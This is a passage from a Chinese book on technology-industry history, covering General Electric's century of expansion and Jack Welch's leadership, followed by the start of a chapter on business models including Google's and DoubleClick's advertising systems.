公司历史的人都知道这个充满传奇色彩的公司是由著名发明家爱迪生创立的，是将电最早介绍和普及到世界上的公司。它现在的英文名字是 General Electronic，GE 是它的简称，一百年前它进入中国时，当时根据字面意思和它经营的产品，将 GE 翻译成通用电气公司。也许是因为爱迪生发明电灯的故事家喻户晓了，今天 GE 在大部分人印象中仍然是生产电灯、电冰箱等家电的公司。但实际上今天的 GE 已经没有多少电气的成分在里面了，如果还用通用电气这个名字的字面意思来理解今天的 GE 公司，已经有以偏概全的味道了。今天的 GE 是全球最大的联合体，到 2007 年底，它包括六大部门，每个部门如果独立，在各自的领域都是佼佼者。这六个部门按 2007 年纯利润排序是：1. 全球基建架构部门（Global Infrastructure），纯利一百零八亿美元2. GE（企业）金融（GE Finance），六十亿美元。\n3. GE （个人）金融（GE Money），四十三亿美元4. 电视新闻网 NBC 和电影公司环球（Universal），三十一亿美元5. 医疗保健部门（Health Care），三十一亿美元6. 工业部门（Industrial），十七亿美元其中只有利润最少的工业部门的一个子部门电器（appliance）是唯一和 GE 名称相关的部门，利润倒数第二的医疗保健因为制造医疗仪器和通用电气的名称勉强拉上些关系，剩下的和电器毫无关系。那么 GE 是怎么从一个电器公司发展成全球巨无霸的联合体呢？让我们先回顾一下GE 的发展史。\n18.3.1 百年扩张，从有线电到无线电美国著名发明家爱迪生发明电灯以后，于 1890 年创立了爱迪生通用电气公司（Edison General Electronic Company）。该公司不仅生产电灯泡，而且经营从发电到铺设电线、再到安装电灯的一条龙服务。由于当时民众不认同电的好处而对电普遍存在畏惧心理，经常破坏电路。爱迪生为了普及电的应用，不得不派人在电线经过的地方巡逻。经过爱迪生的努力，电得以在美国首先普及。因此，GE对于美国整体超越英国成为世界第一强国功不可没。1892 年，在金融家 J.P.摩根的帮助下，爱迪生通用电气和另外两家公司合并，改名为通用电气。四年后的 1896 年，道琼斯指数出现，GE 是道指最早的十二家公司之一（后来道指发展到三十家）。\n本来最早起步的 GE 在发电和电力供应等工业领域并没什么对手，但是由于爱迪生后期在直流输电和交流输电的问题上犯了错误，他错误地坚持直流输电比交流好，结果让首先进行交流输电的西屋电气公司占领了很大的市场。（交流输电容易变压，在输电过程中能量损耗小。）失去在电力供应市场统治地位的 GE 开始拓展新的业务。这种扩张一百多年不间断，一直持续到今天。\nGE 的第一次扩展是从有线（动力）电到无线电收音机。第一次世界大战后，欧洲被打得千疮百孔。美国军方（海军）发现无线电很有用，便鼓励GE买下了无线电发明人马可尼（意大利人）的无线电公司，GE 把它变成了一个独立上市的子公司 RCA （Radio Corporation of America）。我们从 GE 经营收音机广播可以看到它今天经营电视网和影视公司的影子。同时，我们可以看到 GE 的经营模式，即让子公司相对独立。\nRCA 在二十世纪美国历史上可是一个了不起的公司，它和 GE 一起制定了我们今天用的很多标准，比如各种电缆、信号线和电源插座的接口、收音机和音箱喇叭的电压电阻标准等等。更重要的是，它的 RCA 实验室一度可以和贝尔实验室齐名，有很多大发明，包括很多种电子管、早期的一些雷达和真正实用的电视显像管（CRT），最早的彩电（但不是我们今天看到的方型的，而是圆形屏幕的）等等。直到七十年代，RCA 几乎是全世界唯一能生产彩电所有部件的公司。\n说到 RCA 的彩电，它还牵扯到一件关乎到中国最高层权力斗争的重大事件—蜗牛事件。文革后期的 1972 年，中国开始考虑上彩电项目。国务院派人到世界各地考察，发现日本需要好几家公司才能把彩电显像管的玻璃壳、荧光粉等部件凑齐，但是到了美国，RCA 一家就能全部搞定。在当时国务院总理周恩来的亲自过问下，中国和 RCA 达成了引进彩电显像管生产线的协议。谁知美国人（RCA 玻璃供应商康宁公司的人）为了表示友好，送给了中国代表团一些漂亮的玻璃蜗牛纪念品。后来被江青当作攻击周恩来的手段，制造了“蜗牛事件”，引进彩电生产线一事也就泡汤了。这件事对中国影响非常大，后来从第三方引进彩电生产线多花了一倍的价钱不算，还让全中国的人晚了好几年才看上彩电。最糟糕的是，中国从此放弃了美国的 NTSC 彩电制式采用了日本的 PAL 制，以至于计算机显示器和彩电的制式不兼容。现在，中国不得不每年多花很多钱来生产全制式的彩电。讲了这么长的故事只是为了说明 GE 的 RCA 曾经是一个了不起的公司。\n自从有了 RCA，GE 就有了发电（供电）和家用电器两大业务，它们分别是今天 GE 全球架构和 GE 工业两个部门的雏形。GE 的发电从传统的火力发电扩展到建立核电站，继而又扩展到和整个能源和工业工程相关的行业，包括海上钻井采油，建立大型的工业设备和工程。而 GE 的家电行业，不仅发展成品类齐全的各种电气，包括洗衣机、电冰箱、微波炉、电视机等，而且扩展到飞机发动机的工业设备。今天，GE 是全世界的飞机发动机的主要生产商，它的发动机被用于波音747，767，空中客车很多系列以及美国新一代主力战斗机F35。在这个大部门里家电的地位越来越不重要，因此这个部门的名称都改成了 GE 工业。\n由于收音机广播需要制作节目，GE，RCA 和它的老对手西屋电气于 1926 年共同创办了（美国）全国广播公司 NBC。很快，GE 的 RCA 和 NBC 就控制了整个美国的无线电广播市场。虽然在反垄断的约束下，NBC 不得不分出一半成立了一家新的广播公司—美国广播公司 ABC（现在是迪斯尼的子公司），但它至今依然是美国最大的广播电视网。通过 NBC，GE 不仅赚足了电视广告的钱，而且在娱乐业占了一席之地，后来又收购了环球电影公司，进入了电影行业。\nGE 的这几次扩张都比较成功。主要原因有两点，首先它们都是在自己已有业务的基础上自然而然地展开地，整个转变过程比较自然。其次，GE 进入的都是一些全新的或者刚刚起步的领域。在二十世纪初，无线电收音机还属于高科技领域，而广播市场也才刚刚起步。二战后，电视机尤其是彩电则是当时的高科技产品，而电视网络在美国发展也是方兴未艾。GE 很少进入一个已经成熟而且竞争对手很多的市场。作为全球最大的公司，GE 的创新已经不能仅仅是一两个产品的创新，而必须每次创出一个新的行业。从发电和电灯，到无线电和收音机，再到电视网和彩电，每一次 GE 都创出了一个新的行业。\n当然，GE 的扩张也有不少失败的，但是它能很聪明地及时将不可能成功的业务终止掉，不至于陷得太深。GE“著名”失败的例子包括在第二次世界大战以后进入计算机领域。二十世纪五十年代以来，美国很多公司都力争在新兴的计算机工业中占领一席之地。GE 靠着 RCA 强大的研究中心，也挤进了计算机领域。在六十年代，美国计算机工业界的格局是一大七小，大的是 IBM，GE 是七个小的之一。在计算机界，人们将这一大七小戏称为白雪公主（IBM）和七个矮人。GE 当然不愿意做矮人，八十年代它看到和 IBM 竞争无望，便将它的计算机部门卖给了 Honeywell 公司。（八十年代在清华和北大计算中心使用过计算机的读者应该使用过 Honeywell 的计算机。）从上世纪七十年代起，一项新的医疗成像技术核磁共振（MRI）在临床诊断上显示出广阔的应用前景。GE 便抢先投入巨资开发核磁共振机，并且在这方面获得了成功，GE 后来又收购了一家技术领先的核磁共振公司，加强了它在这方面的领先地位。大医院放射科的专家都知道，GE 的核磁共振机才是真正高端的设备，而西门子和安捷伦（原来的惠普）相比就要低一个档次，而日本的品牌可能又要再低一个档次。如今 GE 的医疗仪器部门已经发展成它的六大部门之一。\n18.3.2 从实体经济到金融\nGE 最近的扩张是进入银行和金融领域。在金融风暴前，银行和金融部门对 GE 的重要性甚至超过其它部门。银行和金融业务看上去和 GE 原有的实体工业无关，GE 此前在金融业也没有什么经验，这样的扩展一般来讲是非常忌讳的。但是，GE 这种非常规的扩张在它特殊情况下却是合理而有根据的。\nGE 的家电产品大多数是同类产品中高端的，比如 GE profile 牌子的电冰箱在档次上，仅仅比奢侈品牌 Sub-Zero 低一点点。它非常贵，是同样大小的日本和韩国高端冰箱的两倍以上。这样贵的东西很多家庭需要分期付款才能购买。因此，GE 为了促销就借钱给信誉好的家庭，而借贷的利率常常高达 15% 到 20% 左右，可以算是高利贷了。而美国很多家庭只要每月付得出月供，常常不去仔细算利息，这就让 GE 赚走了很多钱。这样一个冰箱卖下来，GE 从贷款中得到的利润比冰箱本身还要高。GE 发现这种办法很好，就向美国政府要求开一个银行，就是现在的 GE Money Bank。GE 和美国政府的关系很好（以后还会讲到），因此，美国政府就同意了。（后来，世界最大的百货店沃尔玛和世界最大的建材店 Home Depot 也想这么做，美国政府就没有同意，当然这是题外话了。）有了自己的银行，GE 可以用来提供贷款的现金就一下子多了起来，它便和电器商店 Circuit City（最近刚在这次金融危机中申请破产）和百思买（Best Buy）等商量，为这些电器商店出售的所有大件商品提供贷款。这些电器商店一看这样可以提高自己的销售额，又不用承担风险，于是就都答应了。这样子，GE 就发行了专门在 Circuit City、百思买等电器商店购物的信用卡。由于 GE 做事谨慎，不胡乱贷款，所以它贷出去的钱（在这次金融风暴以前）很少遇到赖帐的。随着 GE 的金融业务的发展，它将信用卡业务扩展到了各种各样的商家，包括品牌服装店 Gap、Ann Taylor 等，百货店 JCPenney，高端家具店伊桑.阿兰（Ethan Allen）和托马斯维尔（Thomasville）等。到现在，在美国除了万事达、维萨、运通和发现（Discover）四种通用的信用卡，其它各个连锁店发行的五花八门的信用卡背后的银行只有一个，便是 GE。同样的道理，GE 在全世界承接各种工程时，对于不能一下子拿出全部合同费用的大公司和政府，它也提供商业贷款，这便产生了 GE 的商业贷款部门。到 2007 年，GE 的金融和银行业带来的利润已经占到 GE 利润的四成。\n当然，随着 GE 的不断开拓出新的业务，它也必须将过时的业务淘汰掉。长期以来，GE 不断地卖掉那些效益不好或者前景不看好的部门。2000 年以来它先后卖掉了塑料、高端材料、财产和风险保险与再保险和欧洲的医疗保险等部门，收回了上百亿美元的现金。这些部门有些再亏损，有些虽然仍然盈利但是 GE 不看好它们的前景（比如塑料部门），因此 GE 在它们还值钱的时候出手卖掉。\nGE 从家电和其它实体经济进入金融领域的过程看上去很自然，至今也很成功。但是为什么其它公司不能模仿呢？事实是很多公司试图模仿但是都不成功，GE 是至今唯一开办银行的一个大型实体公司。这里面原因有很多。首先，实体公司办银行要得到政府的批准和支持。在美国办银行本不是一件难事，任何信用记录好的人只要有几百万美元的抵押金就可以申请办银行，这也是美国有八千多家大大小小银行的原因。但是，对于大实体公司，尤其是大到主导了一个行业的公司（比如沃尔玛），美国政府反而对它们办银行非常小心。一方面是为了防止工业资本和金融资本结合造成垄断，另一方面是为了防止产生不良的金融资本影响经济。GE 和政府的关系很好，它在某种程度上支撑着美国的基础建设、航空工业和国防工业，这些远不是沃尔玛和 Home Depot 公司可比的。相比之下，沃尔玛虽然是美国最大的私营雇主和全球最大的连锁店，但是由于为富不仁，在民众中和政府眼里形象都很差，办银行这件大事很难获得广泛支持。而 Home Depot 虽然热衷于公益和慈善事业，但是毕竟财力不足，也无法提供大量商业信贷。\nGE 能够办银行的第二个原因是它的信用记录和还贷能力非常好，让所有人放心。到 2007 年底，GE 是美国（可能也是全球）仅有的五个信用评级为 AAA 的公司。这里面有三个是债券保险公司，它们因为为次贷担保损失巨大，已经无法维持 AAA 的评级了，另外的一个是巴菲特的波克夏.哈萨韦公司。AAA 是什么概念呢？这是美国州政府信用的最高级。美国最大的几家商业银行，包括花旗银行和美洲银行等，信用评价不过是 A+ 到 AA。而中国的几大国有银行的评级为 BAA 左右，还达不到 A。GE 的信用是它上百年积累的结果，而一个暴发户式的公司很难有这样好的信贷评级。（注释：GE 和波克夏.哈萨韦的信用终于在 2009 年 3 月被降级成 AA+，至此世界上 AAA 信用的公司全部消失了。但是 AA+ 的信用度依然比美国很多州政府的信用度还好不少，比如加州政府的信用度只有 A+。）18.3.3 领袖的重要性\n即使不断在淘汰旧的、过时的部门，GE的部门相比任何一个公司还是太多了，把这样一个联合体整合好是一件非常非常难的事。郭士纳把庞大的 IBM 帝国比喻成大象。而 GE 的业务种类比 IBM 又多了很多，我们把它比成恐龙恐怕也不过分。我们在前面的章节中讲到了，很多公司当扩张到一定规模，管理就开始失控，最后丢掉了核心业务，并且开始江河日下了，有些甚至被华尔街拆了卖掉。GE 之所以能够发展到今天的规模，其管理水平在全球所有公司中是数一数二的。\nGE 历来出“将相之才”，它的一个部门主管到了很多公司都能独当一面，它的 CEO 则更是难得的管理奇才。GE 历代 CEO 中，以上一任 CEO 杰克.韦尔奇（Jack Welch）最为突出，我想用“国士无双”来形容韦尔奇也不为过。韦尔奇从 1981 年开始执掌 GE，到 2000 年退休。在这二十年中，进行了近 1000 次的企业并购和部门分离，把 GE 从全球十几名的公司，发展成全世界最盈利、市值最高的公司。1981 年，GE 的营业额为二百五十亿美元，2000 年达到一千三百亿美元，纯利润超过一百亿美元。GE 的市值从 1981 年的一百四十亿美元达到五千亿美元，全世界只有微软的市值在瞬间里超过五千亿。在韦尔奇担任 CEO 的二十年里，GE 每年给股东带来的投资回报超过百分之二十，接近巴菲特的波克夏.哈萨韦的水平。到韦尔奇退休时，GE 旗下有九个单独的部门，如果作为独立的公司，都有资格入选财富五百强。\n和很多跨国公司空降的 CEO 不同，韦尔奇是 GE 土生土长的，他全部的职业生涯都在 GE 度过。1960 年，二十五岁的韦尔奇从伊利诺斯大学获得博士学位后，就进入 GE 从事技术工作。十一年后，他成为 GE 最年轻的部门总经理，又过了十年，他成为了 GE 历史上最年轻的 CEO，那一年他刚过四十五岁。在 GE 工作了二十年后，韦尔奇对 GE 这个百年老店的优势和问题看得一清二楚。和很多历史悠久的跨国公司一样，GE 在管理上官僚作风严重，在业务上保守，在分配上平均主义。在整个七十年代，GE 没有什么发展，人数却年年增加。到八十年代初，GE 的员工数达四十一万之多，但是它只在传统的供电、发动机和照明领域还保持着原有的优势，其它部门都差强人意。\n韦尔奇上任后和现在美国当选总统奥巴马提出的口号相同，就是变革。（很巧的是，奥巴马现在的年龄和韦尔奇当年差不多。）首先，在人事上，它将高管（Executives）的人数裁减了一半，同时裁掉了 10% 表现最差的经理。GE 以前级别森严，上下级沟通渠道不畅，韦尔奇为了改变这种风气，有时很不“职业地”越级了解情况或者传递自己的想法。韦尔奇后来在自己的回忆录中认为，他这种不守规矩的做法是他给 GE 带来的最大价值。像 GE 这样“传统”的公司，以前只有高管们有股票期权，而一般员工是没有股票期权的，韦尔奇改变了这个规矩，将期权的范围扩大到三分之一的员工。在接下来的五年里，韦尔奇裁掉了八万雇员，并且通过出售一些部门又减少了三万雇员。到 1985 年，GE 只剩下三十万人，而韦尔奇同时也得到了“中子弹杰克”的恶名。\n在 GE 的业务发展方向上，韦尔奇做了重大的调整，他大刀阔斧地出售了很多部门，并且进行了大量的并购。其中最著名的并购是通过将 RCA 私有化而收购美国最大的广播电视网 NBC。我们在前面讲到，RCA 是 GE 的一个子公司，但是同时是一个单独的上市公司，很多股票在其它股东手里，RCA 同时拥有 NBC 的一大部分股份。1986 年，GE 回收了 RCA 全部的股份，从而将 NBC 变成自己的独资子公司，并且在电视和娱乐业站领了制高点。RCA 除了 NBC 的电视网外，还有很大的电视机等家电业务，但是韦尔奇根本不看好它那曾经辉煌的家电业务，转手卖给了法国的汤姆逊（Tompson）公司，同时换来了汤普森的医疗仪器业务。在这两次重组中，GE 甩掉了低利润、竞争激烈的彩电业务，获得了两个高利润而且有前景的电视网和医疗仪器业务。这两个部门现在都是 GE 的支柱部门，而并购了 RCA 家电业务的汤姆逊果然江河日下，后来不得不将它卖给了中国的 TCL 公司。\n韦尔奇在 GE 的 CEO 生涯中另一个大手笔就是大力推动金融资本与制造业相结合，将原来 GE 很小的消费产品贷款部门，扩展成 GE 的商业银行（GE Money Bank）和提供制造业的贷款、保险和金融咨询业务的GE金融部门。同时韦尔奇通过合作和收购，在不到十年里，将 GE 的金融业务扩展到全世界。今天，GE 商业银行在全球五十几个国家有分支机构。今天的 GE 基本上保留了韦尔奇留下的布局，经过业务重组，GE 成为最具有活力的公司之一。可以毫不夸张地讲，韦尔奇是让恐龙跳舞的人。\n韦尔奇不仅留给了 GE 一笔丰厚的财富，包括在全球庞大的资产、价值几百亿美元的 GE 品牌（注释：GE 的品牌今天值五百二十亿美元）和管理之道，而且长期培养出众多工业界领袖。由于 GE 的每一个部门都堪比一个财富五百强的公司，并且很多部门之间并没有太大的联系，比如 GE 工业部门和它的 NBC 就没有什么关联，因此，GE 为每个部门设立了一个独立的 CEO（相当于政府的省长）。韦尔奇从这些人里面提拔和培养他的接班人，其中最著名的是三个候选接班人Jeff Immelt，Jim McNerney 和 Nardelli。韦尔奇在它任 GEO 的最后几年里，非常注意培养和考验他们三个人。但是，GE 最终的 CEO 只能有一个，而 Immelt 在竞争中胜出了。McNerney 随后去了 3M 公司担任 CEO，几年后他担任了波音公司的 CEO，扭转了波音对空中客车的颓势。另一位候选人 Nardelli 离开 GE 后担任了美国最大的建材公司 Home Depot 的 CEO，五年里将 Home Depot 的营业额和利润翻了一番，但是因为他没有能提升 Home Depot 的股价被赶出了公司，现在 Nardelli 是克莱斯勒公司的 CEO。Immelt 经营 GE 的策略用中国的老话讲就是“萧规曹随”。他完全沿袭了韦尔奇的经营策略。也许是自觉没有韦尔奇那样统帅超级大公司的能力，Immelt 将 GE 的部门进一步合并，现在便剩下了上述的六大部门。\n韦尔奇退休后，他的一举一动仍然引人注目，他多次前往中国和国内的企业家聚会。他的自传《韦尔奇自传》成为全世界最畅销的图书之一。它的中文版从各大图书城到地铁和路边的小书摊上都有出售。\n有人认为韦尔奇不过是运气好，因为八十年代美国总统里跟上台后，美国的经济高速发展了六七年，而同时上台的韦尔奇不过是沾了里跟的光。到九十年代，由于苏联和东欧解体以及中国的开放，带来了全球基础设施建设的高潮，GE 又沾了这个光。但是真实的情况是，如果 GE 在八十年代没有韦尔奇，它很可能像 ATT 那样，让华尔街拆了卖了，而华尔街会美其名曰单独上市。好一些的情况是，GE 像德国西门子或者荷兰飞利浦那样，虽然没有解体，但是也没有发展。因此，没有韦尔奇就没有 GE 的今天。韦尔奇接手 GE 时，它有很多的资产但是却不能盈利。这种公司，最容易被投资者（或者叫投机者）拆了卖，因为它有很多固定资产，只要将它亏损的业务全关闭后，便能卖出好价钱。（而微软和 Google 这种固定资产不多的公司，拆了卖不出什么好价钱，投机者不感兴趣。）实际上，华尔街一直在研究GE将它的工业部门或者 NBC 卖掉的可能。韦尔奇不是 ATT 那些短见的股东，他要建立一个全球最大的经济联合体。他知道与其让华尔街对 GE 动刀子，不如自己做手术。像 GE 这么大的公司，已经不是一两个大发明可以让它转基因、转型了，它要想成功转型，必须发现并培养出一个新的行业。因此，韦尔奇不断地淘汰前景不好的商业部门，不断地融入新兴的产业部门，经过二十年时间，终于成功的将 GE 从传统的工业公司打造成集高科技、高附加值服务、金融和娱乐于一体的航空母舰。\n后韦尔奇时代的 GE，每年仍在在持续高速发展，而且发展速度是美国 GDP 增长速度的三倍。从 2003 年到去年 2007 年，GE 仍保持每年 14% 的营业额增长和 16% 的盈利增长。（见下图，单位亿美元） 图17-1 GE营业额和盈利情况\n但是 GE 已经无法沿袭韦尔奇时代的发展的速度了，因此它的市值多年都没有得到太大的提升。今年，作为一个商业银行，GE 也无法在这次的金融危机中独善其身。到 2008 年 11 月，GE 的市值已经比一年前缩水了百分之六十。但是，由于 GE 有很好的管理经营和健全的体制，并且各个领域都在同行业中有最强的竞争力（即使今天为它带来一些问题的 GE 金融部门，在整个金融领域中问题也是最少的。），因此包括巴菲特在内的长线投资家仍然看好 GE 并且最近大量注资 GE。\nGE 虽然庞大，但是从来不缺乏创新。它的创新早已经不是在一两个技术和一两种产品上了，而是行业的创新，它在历次技术革命中都没有落伍。作为发明电灯并且最早利用电的公司，它是电气时代的先锋，而后它又掀起了无线电和电视的浪潮。在近二十年全球信息化浪潮中，它没有参与计算机技术的竞争而是另辟蹊径在医疗仪器方面开创出一片新领域。近几年来，随着世界对全球变暖的关注，核能和可再生能源（风能和太阳能）将取代一些传统化石燃料（原油、煤炭和天然气）的趋势越来越明显，而GE早已在这两方面取得了领先。当金融危机过去后，GE 仍将是世界上最强大、最富有竞争力的公司。\n结束语\n由于科学技术是最革命，发展最快的生产力。一个科技公司要想在几次技术革命大潮中都能够立于浪潮之巅是一件极不容易的事。企业能否不断成功的转型是关键。由于企业基因的影响，大部分企业不能做到这一点，因此就有了新公司的兴起和老牌企业的衰退。一个跨国公司能够像诺基亚那样做到一次成功转型已属不易，像 3M 和 GE 那样一百年来长盛不衰则是凤毛麟角。3M 是靠硬性的制度维持其创新，而 GE 是靠自己不断开创新的产业。它们的成功经验已经成为了商学院教科书中的案例。有企业管理兴趣的读者不妨读一读《一个世纪的发明—3M 的故事》（A Century of Innovation The 3M Story ，3M 公司免费提供电子版，但是很遗憾只有英文版）和《韦尔奇自传》。\n第19章 印钞机：最佳的商业模式\n当我们的社会进入文明时代后，商业总是伴随着生产力的进步而发展。挣钱原本不是人类活动目的而是生存的手段，但是社会发展到今天，它似乎越来越成为很多人、团体（比如公司）甚至学校活动的目的。尽管哲学家们可以不同意并且高呼人们本末倒置了，但是却制止不了这个趋势。因此，我们社会的科技和生产力发展就必须和商业联系起来。一个技术、一种产品只有当它被证明在商业上是成功的，才能真正地为我们这个社会接受。\n在商业上，最重要的是商业模型，我们在前面的章节多次提到了它的重要性。所有成功的大公司都有好的商业模式，很多大公司的兴起，不是靠技术的革新而是商业模式的转变。我们前面提到的诸多成功的 IT 业巨头，在商业模式上都有创新。\n以 ATT 来讲，在十九世纪末它就懂得只收服务费而不收高得吓人的安装费，这本身就是一个了不起的商业模式的革命。正是因为为用户免去了大部分安装费，才使得美国的电话在几十年里就普及到所有的家庭。中国电信不懂这个道理，一笔高额初装费的门槛拦住了大部分有心安装电话的人，直到十年前这个问题才得到基本解决。\n英特尔的崛起固然主要是半导体技术进步的因素，但是在商业模式上它也有创新。在 IBM 主导计算机产业的时代，计算机的每一个部件都是自己开发的。IBM 如此，DEC 和惠普也是如此。假如四十年前开发一个 CPU 芯片当时需要一千万美元，这三家就花掉了三千万美元。这时英特尔站出来说，我花一千万美元开发芯片，然后按每家五百万卖给你们，IBM、DEC 和惠普都觉得比自己开发要便宜，于是便接受了。而英特尔的处理器卖了三家后收入一千五百万，除去成本还盈利五百万，于是便发展起来了。\n通常，好的商业模式都非常简单，即使是外行也一眼能看清楚。ATT 和英特尔在商业模式上的变革就是这么简简单单。相反，如果一种商业模式几个小时都说不清楚，那么它要么根本不对，要么是在骗人。巴菲特最近讲这样一件事，前两年一家金融公司向他推销金融衍生产品，他花了整整一天时间，看了它们上百页的商业报告书（Prospectus），仍然搞不懂这个金融衍生产品是如何运作和挣钱的，最后它得出结论这里面一定有鬼。事实证明他是对的。红杉风投对于那些几分钟讲不清楚商业模式的创业者，都会婉言地劝走。\n微软和甲骨文的商业模型也是简单的不能再简单了，只有三个字—“卖软件”。读者也许会问，难道以前软件不是是卖的。的确，以前的软件还真不是卖的。（当然，也不是盗版的。）以前在 IBM 时代计算机公司软硬件都开发，软件的价值要通过硬件实现，没有单独的软件公司。IBM 是把软件的价钱搭到它每年收的服务费中。这种服务费很像保护费，需不需要服务都是要收的。甲骨文公司改变了这个收费方式，它向用户一次性收取软件费，然后用户有事找它，没有事就不用再交服务费了，这样用户的成本就降低了，甲骨文的数据库就抢了IBM的市场。苹果公司也许是出现得太早，沿用了 IBM 那种软件价值通过硬件体现的商业模式，最终在微机领域输给了卖软件的微软。\n反过来没有好的商业模型的公司一定长久不了，互联网泡沫时代的诸多网络公司都是如此，虽然也开发了一些技术和应用，但是不知道自己怎么挣钱，因此兴起得快，衰亡得更快。\n在所有商业模式中，最理想的就是能像印钞机那样自动挣钱的模式。我们在这一章中介绍三个成功的模式，Google 的广告系统，Ebay 的电子商务系统和戴尔的微机直销系统。\n19.1 Google的广告系统\n很多人使用 Google 的产品和服务很多年，一直不清楚 Google 靠什么挣钱，因为 Google 的服务全部是免费的。答案是搜索广告和与网页内容相关的广告。（当然，Google 还有一些企业级产品，但是这些产品占不到营业额的百分之五。）很多人很怀疑 Google 靠搜索结果旁边这几个豆腐块大小的文字广告就能产生每年上百亿美元的销售额，因此认定 Google 一定是在财报上造了假。其实 Google 有没有在财报上造假很容易判断，如果 Google 没有足够的收入，如何能这么多年一直提供全球的免费服务（而像 Youtube 这样的视频服务是非常昂贵的），并且支付两万员工的工资。其实，Google 能够每年创造上百亿广告收入是因为它的广告系统比传统广告业来的有效得多。\n广告一直是传媒业的主要收入。一份上百版的纽约时报售价不到一美元，比印刷成本不知要低多少，更不用说编辑和发行的费用了，这里面的“亏损”全部要靠广告收入填补。实际上广告的收入才是报纸营业额的大头，而它收区区一美元的售价，不过是为了确定它的读者是一个真正读报的人，而不是把免费报纸拿回去当包装纸或者邮件包裹的填充物。广播和电视业的收入更是依靠广告。雅虎的杨致远当初为雅虎选定的商业模式便是传媒的模式而不是电话公司的模式，因此，这就注定了互联网很多公司的收入要依靠广告。\n最初的传媒广告业的运作过程大抵如下。一个媒体必须有一个广告部门，它其实是一个销售部门，它负责把报纸（或者网站）的版面和广播、电视的时间销售给做广告的客户。它的成本有三项。第一，运营的费用，比如报纸的成本、印刷费和发行渠道的成本；第二，批发或者零售的费用，包括给广告批发商让利或者支付广告销售人员的工资等；第三，订单处理，各种对于广告订单的管理和安排如何刊登或者播放广告。这三项成本除了第一项外，其实主要都是人工的费用。这种商业模式效率较低，对于大的媒体来讲，在劳动生产率不变的情况下，每增加一份收入，就要添加一些人工，因此成本下不去，利润率不可能很高，市场扩张也不会很快。对于小的媒体来讲成本更高，它们不可能养活三个部门专门负责上述三件事，因此它通常只能从广告批发商那里拿广告，而不能做直销。而对于做广告的人来讲，这个模式使得在（全国性）大媒体上做广告的门槛很高，因此小商家做不起读者观众很广的电视和报纸广告，只能在当地小报纸和电台上做一些广告，业务也很难跨地区发展。\n在互联网发展初期，以雅虎为代表的门户网站在运营上基本上没有脱离传统广告业的运作方式。首先，它也有公司运营的基本费用，比如服务器和带宽的费用，相对于报纸纸张的成本和印刷的费用，其次，它的广告营销部门完全和传统广告业一样，要么是靠自己的员工拉广告，要么是委托广告批发商找广告。（具体采用哪种方式要看是支付自己人工资高还是支付给中介的佣金高。）第三，在订单处理和投放上基本还是手工方式。虽然雅虎采用数据库管理它的所有广告，但是，广告如何投放，在它那一类网页，网页的什么位置都是半手工的工作。因此，虽然雅虎公司和微软的MSN的在网络技术上很不错，它的运营效率可能比传统报纸媒体高一些，但是运作的方式实际上还是传统传媒的翻版。\nGoogle 虽然被分到和雅虎同一类的互联网公司，但是它的广告模式和雅虎有本质区别。作为一个公司，Google 当然也有运营的基本开销，包括数据中心的开销和带宽的费用，这是谁也省不了的。但是，Google 在很大程度上省去了第二种和第三种广告的成本。这样，Google 不仅仅在关键词广告匹配的技术上领先于对手，更关键的是它的商业模式比包括雅虎和微软 MSN 传统广告业领先了整整一代。这样，它在商业上实际上是用“洋枪洋炮”对雅虎和 MSN 的“大刀长矛”。\n要搞清楚 Google 广告系统的本质，先要从双击公司（Double Click）的商业模式着手。双击公司诞生于互联网飞速发展的九十年代末。各种中小的互联网站都希望从在线广告中分一杯羹，来支付它们的运营成本，但是这些小网站养不起太多的销售人员去拉广告。另一头出现了很多在线的商家需要做在线广告，但是这些小商家也没有精力一家家网站去谈广告事宜。因此双击公司就代理了两头，来为两边搭桥。一方面，它有很多销售人员去拉广告，另一方面它建立了一个自动向在线媒体（网站）投放广告的系统。也就是说它在订单处理和投放上实现了自动化。它的订单处理和自动投放是这样实现的：当销售人员拉来广告后，双击公司将它们按几种模板做成几种显示方式的图形和动漫，比如横幅图形广告、弹出式图形广告和嵌入式音频视频广告等有限的几种。每一个广告都以数据库的形式，存在它的服务器中，并且可以通过一个 JavaScript 从它的服务器上获得。对于要放广告的网站（媒体），它只要在双击公司开一个帐号，然后告诉双击公司它打算做哪种形式的广告，是横幅图形还是弹出式动漫等等，双击公司就会给它一些特殊的链接（根据信息指纹自动产生的，关于信息指纹请看“数学之美”），然后该网站只要把这些链接插入到自己网页中就行了，如下图。整个广告投放过程是自动的。\n图19-1双击公司广告投放模型当该网站的读者浏览该网站的网页时，他的浏览器会向该网站发出获取网页的请求，该网站会返回包含双击公司链接的网页。在用户看到该网页内容前，浏览器会先解释网页，得到双击公司的链接并且把广告请求送给双击公司，双击公司会从数据库中“随机”提取广告，返回给用户广告。双击公司同时会根据请求中的信息指纹知道该请求是哪家网站送来的广告请求，以便统计该网站显示广告的次数。整个广告投放过程完全是自动的。\n图19-2双击公司广告投放过程在双击公司的广告商业模式中，它的订单处理和投放完全是自动的，因此它比传统广告方式进了一步。但是，双击公司在广告投放过程中无法得知网站的内容和互联网用户的需求，因此它的广告投放完全是随机的，广告效果非常不好。虽然双击公司试图通过互联网用户的个人信息定位读者群，但是被一家保护用户隐私的机构告上了法庭，并且赔偿了上千万美元才得以和解，因此它便不再试图做任何针对特定用户的广告投放了。（这个官司影响深远，它使得所有社交网站无法利用用户信息做广告。）Google 公司的搜索广告在投放上和双击公司一样，完全是自动的。不仅如此，Google 公司的搜索广告根据搜索的关键词来决定广告的内容，广告的针对性很强，效果比双击公司的随机广告高了一个数量级。对于向网页投放广告，虽然没有搜索关键词，但是 Google 从网页的内容中提取关键词，依然能够保证广告内容和网页内容相关。\nGoogle 比双击公司另一大改进之处在于打造了一个自动接纳广告的系统，从而基本上省去了广告销售这一成本。不管什么人想在 Google 上做广告，只要在 Google 的网站上填一张表，写几个自己感兴趣的关键词和广告的内容，再告诉 Google 每天愿意付的广告费即可。为了方便做广告的商家了解广告的效果，Google 有一套自动的模拟系统，告诉商家它的广告每天可以有多少人看，有多少人点击。（商家可以推算出每次浏览或者点击的广告费。）为了让商家对 Google 关键词广告的效果满意，Google 按广告点击量，而不是广告显示的次数收费。毫无疑问，广告商都喜欢这种收费方式，因此很多公司和个人就从其它广告媒体转到 Google 上来了。\n当然，这个自动的系统要想工作无误，还必须解决好很多工程上的问题。下面的问题在打造自动的广告系统中是必须解决的。\n首先，不能有需要人参与的广告设计，因此 Google 